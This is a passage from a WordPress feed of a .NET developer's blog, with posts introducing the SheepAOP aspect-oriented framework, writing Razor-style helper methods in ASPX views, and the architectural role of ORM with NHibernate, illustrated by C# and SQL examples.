		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image10.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>
	</item>
		<item>
		<title>Announcing SheepAOP (Part 1)</title>
		<link>http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-1/</link>
		<comments>http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-1/#comments</comments>
		<pubDate>Sat, 16 Apr 2011 10:54:56 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Aspect Oriented Programming]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">https://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-1/</guid>
		<description><![CDATA[Not the wittiest name, I realize, but certainly among the top in the cuteness league. SheepAOP is yet another AOP tool for the .NET environment (which frankly aren’t that many). It uses IL weaving to inject croscutting concerns to your dll at compile time. (And soon, SheepAOP will also support IL weaving at assembly load-time [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=783&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Not the wittiest name, I realize, but certainly among the top in the cuteness league. <a href="http://sheepaop.codeplex.com/" target="_blank">SheepAOP</a> is yet another AOP tool for the .NET environment (which frankly aren’t that many). It uses IL weaving to inject croscutting concerns to your dll at compile time. (And soon, SheepAOP will also support IL weaving at assembly load-time as an alternative, leaving the original dll intact).</p>
<p>The project is still in its very early inception, it just started last week, so I’m all ears to as many feedbacks as I can get.<br />
I did a presentation on this yesterday, which I’m going to recap here in this 2-part-series.</p>
<p><strong>Part 1 – AOP for Everyone<br />
</strong><a title="Announcing SheepAOP Part 2" href="http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/" target="_blank">Part 2 – SheepAOP Basics</a></p>
<h3>AOP for Everyone</h3>
<p>SheepAOP project is driven primarily by experimental intents, but its ultimate goal is to make <strong>AOP more accessible</strong> for .NET developers.<br />
In today’s climate, when we talk about AOP, we normally would only use it for things of the grandest scale, like transaction-management, logging, security authentication, and all that sort. But there are many trivial things in our everyday work that we won’t immediately think of AOP. In those instances, we usually feel like we need an intensely compelling reason before we even think about resorting to AOP. I think this is down to the lack of the tooling, especially in the .Net space, where AOP has become something highly exotic.</p>
<p>This is what I intend to change, by bringing in a free alternative onto the table, making AOP a bit more accessible that hopefully people would just go ahead and start writing aspects for simple things without thinking much about it, just like what people do in Java for instance, where AspectJ has become a defacto standard, so ubiquitous that whenever you sense the slightest need for an aspect, chances are you already have AspectJ within your library stack, so you just go ahead and write your aspects.</p>
<h3>Simple Everyday Thing</h3>
<p>Nothing is simpler than the cliché Shopping Cart example, a bare one notch above Hello World. So let’s use this as our example.</p>
<p><pre class="brush: csharp;">
public class ShoppingCart
{
    public void AddProduct(Product product, int qty)
    {
        product.StockQty -= qty;
        _items.Add(new CartItem(product, qty));
    }
}

public class Product
{
    public int StockQty
    {
        get { return _stockQty; }
        set
        {
            _stockQty = value;
        }
    }
}
</pre></p>
<p>A clean simplistic shopping cart class. But life as a developer is never this clean and simple. In fact, the customer just came with a new Notification rule, specifying that:<strong><br />
</strong><span style="color:#003300;"><em>&#8220;If StockQty drops below 5, then send a notification email to the Purchasing Department to restock the product.&#8221;</em></span></p>
<p>So we’re going to carry out that rule whenever the StockQty property is set (line #17). So what are we gonna need? Firstly, you&#8217;ll obviously need an <em>INotificationService</em> in the <em>Product</em> class, and the ShoppingCart is going to supply that, all the way from the top where you meet your IoC container.</p>
<p>At this point, you would not normally think of AOP. You would instead employ a more conventional approach by rearchitecting your domain structure. You use the good old Dependency-Injection, and introduce double-dispatch pattern around your methods.</p>
<p><pre class="brush: csharp;">
public class ShoppingCart
{
    public void AddProduct(Product product, int qty,
                    INotificationService notifier)
    {
        product.ReduceStock(qty, notifier);
        _items.Add(new CartItem(product, qty));
    }
}

public class Product
{
    public void ReduceStockQty(int qty, INotificationService notifier)
    {
        _stockQty -= qty;
        if(_stockQty &lt; 5)
            notifier.Send(Notice.Restock, this);
    }
}
</pre></p>
<p>So we changed the StockQty property into a method so we can inject a new dependency, which is passed all the way through shopping-cart up to the top, which depending on your object structure, may be quite deep. You have to make the same change to all places that use the StockQty property to accommodate the new dependency. This is an example of one simple change that make a great impact to the source code.</p>
<p>There’s no problem with this approach, we use this pattern everyday. But let’s now shift our thinking a little bit.</p>
<p>The main drawback of this approach is <strong>pollution</strong>. Let’s ask ourselves: does this piece of code really belong here? It doesn’t seem right to me. What’s a warehouse purchasing policy doing in a Product class? It is completely unrelated to the business of putting a product into your shopping trolley. And why do we need an <em>INotificationService</em> to use a shopping-trolley anyway? We certainly don’t send any notification email when you chuck a product into the trolley, but the service is just there to cover a specific <em><span style="text-decoration:underline;">edge-case scenario</span></em> that might or might not happen somewhere down the line of the executing flow. If it only happens occasionally, why do we have to pass the notification-service every time? That seems to put a lot of unnecessary garbage to our otherwise clean code.</p>
<p>In typical projects, these <em>edge-case-scenarios</em> are usually quite plenty. There are usually a vast number of combinations of all different possibilities that we need to cater for, e.g. apply extra tax if the customer is within certain countries. Our code starts to look like transaction-scripts of various if-else conditions. Our classes are becoming less and less about shopping-carts and products; and more and more about different bits and pieces of all unrelated concerns, glued together to cover all possible basis.</p>
<p>What about all other notification alerts? Every time the customer define a new notification-template, we need to open our application source-code, look in our domain classes where we can fit the logic in, and implant the notification condition right there, and rewire all the required dependencies. We do that for each of our notification rules, and the whole notification policy is those pieces of logics scattered all over the source-code. Every time we define a new one, we need to remodify our domain source-code again. Each of our classes now has a lot more than <em>one reason to change. </em>Any class can change any time for any reason, and none of them can seem to escape from it.</p>
<h3>Say Hello to SheepAOP</h3>
<p>Let’s see an alternative way of implementing the same requirement. Let’s <strong>rewind</strong> back to the start.</p>
<p><pre class="brush: csharp;">
public class ShoppingCart
{
    public void AddProduct(Product product, int qty)
    {
        product.StockQty -= qty;
        _items.Add(new CartItem(product, qty));
    }
}

public class Product
{
    public int StockQty
    {
        get { return _stockQty; }
        set
        {
            _stockQty = value;
        }
    }
}
</pre></p>
<p>These are our classes when they were still neat and clean. Everything about shopping-cart and product, and nothing else. So now, what’s the first thing that we’re going to change on these classes?</p>
<p>Right, the answer is <em>nothing</em>. We are not going to touch these classes. They already do all they&#8217;re meant to do, so leave it that way, keep them clean and simple, and don’t pollute them with any other garbage.</p>
<p>Instead, we are going to create a new class, let’s call it <em>WarehouseNotificationAspect</em>.</p>
<p><pre class="brush: csharp;">
public class PurchasingNotificationAspect: IAspect
{
}
</pre></p>
<p>This class can be defined completely separate from your actual classes. Anywhere you want. You can even place this in a separate project, let’s say, <em>Sheep.NotificationPolicy</em> project, if you like.</p>
<p>Now let’s define a “pointcut”. If you’re not familiar with the terminology, don’t worry we’ll get there in no time. For now, you only need to know pointcut as a “criteria to search within your source-code&#8221;. In our case, we want to target the setter of our “<em>Product.StockQty</em>” property, so let’s write our pointcut for that.</p>
<p><pre class="brush: csharp;">
[RegisterPointcut]
public static void SetProductPointcut(PointcutRegistry reg)
{
    reg.AddCurrentAssembly()
        .Listen(r =&gt; r.Setter(p =&gt; p.StockQty));
}
</pre></p>
<p>Now that we have our pointcut, we can offer an “advice” to it. We can say: “when this ‘<em>property is set’</em> (PropertySet), after ‘<em>it’s done’ </em>(OnExit), please ‘<em>do this and that’</em>”.</p>
<p><pre class="brush: csharp;">
public void Init()
{
    Listener.PropertySet(SetProductPointcut).OnExit += (j, c) =&gt;
    {
        if ((int)j.Value &lt; 5)
            _notifier.Send(Notice.Restock, (Product) j.Instance);
    };
}
</pre></p>
<p>During <strong>compile time</strong>, SheepAOP will insert these extra logic at the end of the StockQty property, and save it to your dll.</p>
<p>Since this aspect class is just a normal POCO class, it means you can just manage this using your normal IoC container, so you will have all your dependencies sorted. The full source-code of our aspect becomes:</p>
<p><pre class="brush: csharp;">
public class PurchasingNotificationAspect: IAspect
{
	[RegisterPointcut]
	public static void SetProductPointcut(PointcutRegistry reg)
	{
		reg.AddCurrentAssembly()
			.Listen(r =&gt; r.Setter(p =&gt; p.StockQty));
	}

	private readonly INotificationService _notifier;
	public PurchasingNotificationAspect(INotificationService notifier)
	{
		_notifier = notifier;
	}
	public void Init()
	{
		Listener.PropertySet(SetProductPointcut).OnExit += (j, c) =&gt;
		{
			if ((int)j.Value &lt; 5)
				_notifier.Send(Notice.Restock, (Product) j.Instance);
		};
	}
}
</pre></p>
<p>Your original ShoppingCart and Product classes remain untarnished, so you can unit-test them easily as a plain shopping-cart without having to worry about other unrelated concerns and depedencies. Similarly, you can unit-test your notification-policy in isolation by testing your notification-aspects.</p>
<h3>Jargons</h3>
<p>Let’s review our jargons.</p>
<ol>
<li>Pointcut: Search-criteria of what you want to influence with your aspect. We had a very simple pointcut in our previous example, but pointcut can be very sophisticated. I’ll give an example using a pseudo-code with a language we’re all familiar with: SQL.<br />
<pre class="brush: sql;">
select from all [methods] where
	(methods:
		is public or protected &amp;
		Name like ‘Get*’ | ‘Find*’ &amp;
		Returns (all types:
			IsAssignableFrom (Money or Number)) &amp;
		Declared in (all types:
			namespace: is ‘Sheep.Domain.*’ &amp;
			Implements(type: Name like ‘I*Service’)) &amp;
		Args is (int id, ..., string *name, )
	)
</pre></p>
<p>We were selecting all <em>methods</em> where it’s public or protected, with a name beginning with Get or Find, returning any type assignable from Money or Number, declared within any type within the ‘Sheep.Domain.*’ namespace, and implements any ‘I*Service’ interface, with arguments of yada yada yada.</p>
<p>We can search not only methods and property. We can even search a <strong>specific-line-of-code</strong>! Such as this one.</p>
<p><pre class="brush: sql;">
select all [instructions] where
	(field: Product.‘_stock*Qty’ &amp;
		type: int or double
	) &amp;
	instruction: Executed within
	(method:
		Name(‘Change*’) &amp;
		Declared in type: ShopingCart
	)
</pre></p>
<p>Just to give an idea of what pointcut does, let’s see one in action. I need to use an example from Java, because quite frankly I could not find anything from .Net that is even remotely comparable to AspectJ. So here’s AspectJ on Eclipse IDE.</p>
<p>PS:<em><span style="font-family:Arial;"> AspectJ is an ambitiously sophisticated AOP framework, and SheepAOP is no where near it in any possible way. But the maturity of AspectJ makes for an excellent example to give you a good idea about various AOP concepts.</span></em></p>
<p><a href="http://hendryluk.files.wordpress.com/2011/04/image.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image_thumb.png?w=558&#038;h=339" alt="image" width="558" height="339" border="0" /></a><br />
(Image #1, AspectJ Pointcuts)</p>
<p>Unlike anything on .Net, in AspectJ aspect is a first-level language construct. So see on the left pane, we have an aspect that declares an annotation using pointcut <strong>* Account+.*(..)</strong>, i.e., <em>all methods within Account class with any name and any arguments</em>. The right pane instantly shows you that 3 methods are affected by this pointcut. These 3 methods are your croscutting concern that you want to target with your aspect. You can even visualise these pointcuts within the IDE.</p>
<div>
<p><a href="http://hendryluk.files.wordpress.com/2011/04/image1.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image_thumb1.png?w=584&#038;h=293" alt="image" width="584" height="293" border="0" /></a><br />
(Image #2, AspectJ Pointcuts Visualisation)</p>
<p>On the right pane, you see your pointcuts, and the main panel shows you how each of these pointcuts crosscuts through your source-code. Imagine the blue one as our Notification Policy. We can see various places where we put some specific logic to send notification emails based on certain conditions. We can create an aspect for this so we don’t pollute our source-code with anything that’s not related with the actual business of your application.</p>
</div>
</li>
<li>Jointpoints: The “search result&#8221; of your pointcut. Those 3 methods on the right pane of Image#1, we can see our Pointcut matches with 3 jointpoints (the validate(), credit(int), and debit(int) methods)</li>
<li>Advice: Once we have our pointcut, we can offer it some advices of how those pointcuts should change their behavior (i.e. logging, start-transaction, authorisation, etc).</li>
<li>Aspect: We have our pointcut, we offer it some advices, we have an Aspect.Here’s another example from AspectJ of a complete Aspect.<br />
<a href="http://hendryluk.files.wordpress.com/2011/04/image2.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/04/image_thumb2.png?w=447&#038;h=174" alt="image" width="447" height="174" border="0" /></a><br />
(Image #3, AspectJ Aspect)We have a complete AspectJ aspect. We define a pointcut to target all <em>public methods</em> under Account class (with any name and arguments), and we offer it an advice that “before” you execute the method, please authenticate the “account”, where “account” is the owner (aka the ‘this’) of the method.</li>
</ol>
<h3>Different Flavours</h3>
<p>There are few different ways we can do AOP:</p>
<ol>
<li>Code Generator<br />
e.g. T4, CodeSmith</li>
<li>Dynamic Proxy<br />
e.g. (Castle DynamicProxy), Spec#, NAspect<br />
This is by far the most popular AOP approach in .Net, which is unfortunate as it’s also the most limited way of doing AOP of all. It can only be used for objects managed by IoC, then its virtual/interface requirement, no static-methods, etc, making it hardly useful for too many purposes.</li>
<li>.Net Profiller API<br />
e.g. TypeMock Open AOP (CThru).<br />
.Net profiler API’s use in production environments is strongly discouraged, although how bad we’ll get punished for violating it still remains unclear.</li>
<li>IL Weavinge.g. AspectJ, PostSharp, and <strong>SheepAOP</strong><br />
This is the most popular approach outside the .Net circle.</li>
</ol>
<h3>Why Another One?</h3>
<p>PostSharp is an excellent product and has done remarkably well over the years, but one of my primary reasons of my reinventing it with SheepAOP (apart from to offer an open-source alternative) is down to the difference in style. PostSharp puts a huge emphasize on the use of .Net Attributes. The problem of Attributes in AOP is that the attribute itself becomes the repetitive crosscutting concerns. In contrast, SheepAOP firmly sticks on the well-known AOP pattern and terminologies using pointcuts, jointpoints, and advices, although the use of attribute will also be supported soon.</p>
<p>(.. more about SheepAOP in <a href="http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/" target="_blank">part 2</a>)</p>
<h3>Summary</h3>
<p>SheepAOP is an open-source AOP framework, still in its early inceptions, that aims at bringing the classic AOP style and patterns to the .Net audience. The framework uses IL weaving (thanks to Mono.Cecil) to inject croscutting behaviours during compile-time.</p>
<p>In this post, we&#8217;ve discussed about how aspects can be used to help everyday’s domain-driven applications, beyond the highly clichéd transactions and logging.</p>
<p>The next post (<a href="http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/" target="_blank">part 2</a>) will cover the basics of using SheepAOP.</p>
<p>The SheepAOP project repository and source-code of this post can be found in Codeplex: <a title="http://sheepaop.codeplex.com/" href="http://sheepaop.codeplex.com/">http://sheepaop.codeplex.com/</a></p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/aspect-oriented-programming/'>Aspect Oriented Programming</a>, <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/783/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/783/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/783/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/783/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/783/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/783/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/783/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/783/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=783&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image_thumb.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image_thumb1.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/04/image_thumb2.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>
	</item>
		<item>
		<title>ASP.Net MVC: Razor-like Helper Methods in ASPX Views</title>
		<link>http://hendryluk.wordpress.com/2011/01/02/asp-net-mvc-razor-like-helper-methods-in-aspx-views/</link>
		<comments>http://hendryluk.wordpress.com/2011/01/02/asp-net-mvc-razor-like-helper-methods-in-aspx-views/#comments</comments>
		<pubDate>Sun, 02 Jan 2011 04:58:54 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=762</guid>
		<description><![CDATA[Your MVC views often contain boring repetitive routine that you often get rid of by introducing helper methods within your ascx/aspx or code-behind. This is what I mean. The problem of writing these helper methods, as you can see above, is that you&#8217;ll have to leave the very comfort that aspx templating-engine provides, and you&#8217;re [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=762&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Your MVC views often contain boring repetitive routine that you often get rid of by introducing helper methods within your ascx/aspx or code-behind.<br />
This is what I mean.</p>
<p><pre class="brush: csharp;">
&lt;%@ Control Language=&quot;C#&quot; Inherits=&quot;System.Web.Mvc.ViewUserControl&lt;MvcPlay.Models.Whatever&gt;&quot; %&gt;

&lt;script runat=&quot;server&quot;&gt;
public MvcHtmlString SayHello(string name, string yadayada)
{
    var html = &quot;&quot;;
	if(name != null)
		html += string.Format(&quot;&lt;div class=\&quot;hello\&quot;&gt;{0} {1},&lt;/div&gt;&quot;, 
			Model.FunMode ? &quot;Howdy&quot; : &quot;Greeting&quot;, 
			Html.Encode(name));
	
	html += &quot;&lt;div class=\&quot;label\&quot;&gt;I've always wanted to say this:&lt;/div&gt;&quot;;
	
	foreach (var yada in yadayada.Split(','))
	    html += string.Format(&quot;&lt;p class=\&quot;message\&quot;&gt;{0}&lt;/p&gt;&quot;, Html.Encode(yada));

    return MvcHtmlString.Create(html);
}
&lt;/script&gt;

&lt;%: SayHello(Model.Chef, &quot;Excellent food!,Taste of heaven,Bye bye!&quot;); %&gt;
&lt;%: SayHello(Model.Mom, &quot;You're the best mommy,I love you,I need money&quot;); %&gt;
&lt;%: SayHello(Model.Enemy, &quot;^@$#!!,##@#$!,%#$ %$ ^#$@$!!!!&quot;); %&gt;
</pre></p>
<p>The problem of writing these helper methods, as you can see above, is that you&#8217;ll have to leave the very comfort that aspx templating-engine provides, and you&#8217;re left dealing with string concatenation, character escaping, and HTML encoding in plain C# code yourself. Not terribly fun.</p>
<p>If you look at the brand new Razor view-engine, it has helper syntax that allows you to write helper methods much more succinctly.</p>
<p><pre class="brush: csharp;">
@helper SayHello(string name, string yadayada)
{
    @if(name != null){
		&lt;div class=&quot;hello&quot;&gt;
			@(Model.FunMode?&quot;Howdy&quot;:&quot;Greeting&quot;),
			@Name
		&lt;/div&gt;
	}
	
	&lt;div class=&quot;label&quot;&gt;I've always wanted to say this:&lt;/div&gt;
	
	@foreach (var yada in yadayada.Split(',')){
	    &lt;p class=&quot;message&quot;&gt;@yada&lt;/p&gt;
	}
}

@SayHello(Model.Chef, &quot;Excellent food!,Taste of heaven,Bye bye!&quot;);
@SayHello(Model.Mom, &quot;You're the best mommy,I love you,I need money&quot;);
@SayHello(Model.Enemy, &quot;^@$#!!,##@#$!,%#$ %$ ^#$@$!!!!&quot;);
</pre></p>
<p>This syntax lets you leverage the full power of your view-engine to template your html contents, and we are jealous.</p>
<p>We are jealous because we&#8217;re still using aspx view engine in asp.net mvc2, boo hoo, what can we do about that?</p>
<p>Not a big deal, even since asp.net mvc1, we have actually always been able to write similar razor-ish helper methods right on our aspx view engine. Anonymous delegate is the key.</p>
<p><pre class="brush: csharp;">
&lt;% Action&lt;string, string&gt; SayHello = (name, yadayada)=&gt; { %&gt;
	&lt;% if(name != null){ %&gt;
		&lt;div class=&quot;hello&quot;&gt;
			&lt;%:(Model.FunMode?&quot;Howdy&quot;:&quot;Greeting&quot;)%&gt;,
			&lt;%:Name%&gt;
		&lt;/div&gt;
	&lt;%}%&gt;
	
	&lt;div class=&quot;label&quot;&gt;I've always wanted to say this:&lt;/div&gt;
	
	&lt;% foreach (var yada in yadayada.Split(',')){ %&gt;
	    &lt;p class=&quot;message&quot;&gt;&lt;%:yada%&gt;&lt;/p&gt;
	&lt;%}%&gt;
&lt;%}%&gt;

&lt;% SayHello(Model.Chef, &quot;Excellent food!,Taste of heaven,Bye bye!&quot;); %&gt;
&lt;% SayHello(Model.Mom, &quot;You're the best mommy,I love you,I need money&quot;); %&gt;
&lt;% SayHello(Model.Enemy, &quot;^@$#!!,##@#$!,%#$ %$ ^#$@$!!!!&quot;); %&gt;
</pre></p>
<p>So there you have it, a helper method on ASP.NET MVC1 that leverages the full comfort of your aspx templating engine.</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/asp-net-mvc/'>ASP.NET MVC</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/762/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/762/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/762/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/762/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/762/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/762/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/762/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/762/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/762/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/762/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/762/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/762/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/762/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/762/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=762&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/01/02/asp-net-mvc-razor-like-helper-methods-in-aspx-views/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>Software Development Fundamentals, Part 3: Object Relational Mapping</title>
		<link>http://hendryluk.wordpress.com/2010/07/31/software-development-fundamentals-part-3-object-relational-mapping/</link>
		<comments>http://hendryluk.wordpress.com/2010/07/31/software-development-fundamentals-part-3-object-relational-mapping/#comments</comments>
		<pubDate>Sat, 31 Jul 2010 15:13:04 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Development Practice]]></category>
		<category><![CDATA[Domain Driven Design]]></category>
		<category><![CDATA[nHibernate]]></category>
		<category><![CDATA[ORM]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=699</guid>
		<description><![CDATA[This is my first blog post since I mysteriously disappeared from blogosphere for more than a full year, and as much as it deserves an explanation, disappointingly the fact is much duller than the conspiracy theory of alien abduction. Desperate for an excuse, the word &#8220;busy&#8221; immediately springs to mind. I&#8217;ll leave it at that. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=699&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This is my first blog post since I mysteriously disappeared from blogosphere for more than a full year, and as much as it deserves an explanation, disappointingly the fact is much duller than the conspiracy theory of alien abduction. Desperate for an excuse, the word &#8220;busy&#8221; immediately springs to mind. I&#8217;ll leave it at that.</p>
<p>Anyway, where were we? Oh right, in my <a href="http://hendryluk.wordpress.com/2009/08/17/software-development-fundamentals-part-2-layered-architecture/">last post</a>, I promised to write about O/RM in the context of software architecture. The promise was dated a year ago, and a lot of things have changed since then in the way we build applications. Many lessons have been learnt in our industry, most notably NoSql and CQRS architecture, which make any talk about O/RM today seem embarrassingly archaic. But I&#8217;m the man of my word, my pledge is my bond, so here we are. After all, despite all the new exotic NoSql and CQRS, ORM is still by large the mainstream of today&#8217;s way of developing application. Mainstream is everything this series is.</p>
<p>This post is not going to talk about how to use ORM products, their performance characteristics, or, god forbids, a reenactment of the classical war of ORM vs Stored Procedure. If you’re looking for introduction to NHibernate and its feature, sorry this post might not be for you. Instead, I’m here to talk about the impact ORM makes to application architecture, and why it&#8217;s absolutely mandatory for building domain-driven architecture.</p>
<h1>(n)Hibernate</h1>
<p>A natural way to start this post would be by asking the question: &#8220;What is ORM?&#8221;. But at second thought, it&#8217;s easier to define ORM by what it does, rather than what it is. So let&#8217;s just skip this question, and take Hibernate/nHibernate for our purpose, being the most popular ORMs of our time.</p>
<p>NHibernate is not a data-access framework as much as it is an Object Relational Mapping. ORM is based on the premise that we are writing our application using an object-oriented language, and that we want to keep it that way. Hibernate hides away the presence of relational database, so you can focus on modeling your business object. The persistence plumbing will simply be taken care of for you.</p>
<h1>There Is No Database</h1>
<p>There was a time where people used a term like &#8220;database aplication&#8221;. During that time, we typically had a database sitting at the core of the system, and the focus of our applications was to execute a bunch of SQL statements to transform &#8220;business-data&#8221;, and run some SQL queries to bring back the data to be presented on application UI.<br />
We have moved past this kind of architectural mindset a long time ago, and began to realize that all we need is really just a place to keep objects. It shouldn&#8217;t be anymore complicated than that. We started asking question: why can&#8217;t we just store our objects in a big object Collection? (As in standard Java/.net Collection). Why can&#8217;t we just say:</p>
<ul>
<li>Inserting a new customer: <span style="color:#003366;">customers.Add(customer)</span></li>
<li> Fethcing it back: <span style="color:#003366;">customer = customers.Where(c=&gt; c.FirstName == &#8220;Piggy&#8221;).First()</span></li>
<li> Delete it: <span style="color:#003366;">customers.Remove(customer)</span></li>
</ul>
<p>It should be that simple: no SQL statement, no tables, no joins. Just a standard .net object collection. Now where that collection chooses to keep all those objects, that we simply don&#8217;t care. For all we know, it may be in the memory, or in the web session, or serialize them to file-system, or it may somehow store it to database tables&#8230; we don&#8217;t care. We only know we have a Collection of Customer objects, and as far as we&#8217;re concerned, <strong>there is no database</strong>.</p>
<p>Abstracting database to resemble object collection is incredibly hard. But it’s a solved problem. One of the most popular ORM products available today is Hiberate/nHibernate. Here&#8217;s an example of using nHibernate to update customer information and add a new account into it:</p>
<p><pre class="brush: csharp;">
var customer = session.Linq&lt;Customer&gt;.Where(c=&gt; c.CustomerNumber == custNo).List();
customer.CreditLimit += 500;
customer.AddAccount(new Account(accNo));
</pre></p>
<p>The first line above will invoke the following SQL query:</p>
<p><pre class="brush: sql;">
select * from FOH_CUSTOMERS c where c.CUSTOMER_NUMBER = ?
</pre></p>
<p>You also notice that there’s nothing in the code above to update the customer table, or to insert to the account table. It&#8217;s very much like accessing a normal object Collection: you pull an object from the collection, you mutate the object&#8217;s state, and that&#8217;s it: the object is already changed. The next time you grab the same customer, you’ll see the changed credit-limit, and the new account under the customer. You didn&#8217;t have to invoke update or anything, Hibernate will figure out the way to synchronize the data in your DB tables to reflect these changes.</p>
<p>NHibernate follows the &#8220;unit-of-work&#8221; pattern (which they call &#8220;<span style="color:#003366;">Session</span>&#8220;). <span style="color:#003366;">Session </span>is the nHibernate equivalent for object Collection. It represent a single isolated set of objects, meaning that if pull an object from a session and change the object’s state, the changes will be immediately visible to anyone using the same session. NHibernate keeps track of all these changes, and when we flush the session, it will do all the yoga to make sure all these changes are saved back to the central database, and therefore become visible to all other sessions. But our code does not have to be aware of any of that.</p>
<p>Therefore, in the example above, when you flush the session the following SQL statements will be executed:</p>
<p><pre class="brush: sql;">
update CRM_CUSTOMERS set CREDIT_LIMIT = ? where CUST_ID = ?;
insert into CRM_ACCOUTNS (ACCOUNT_ID, CUST_ID, ACCOUNT_NUMBER) values (?, ?, ?);
</pre></p>
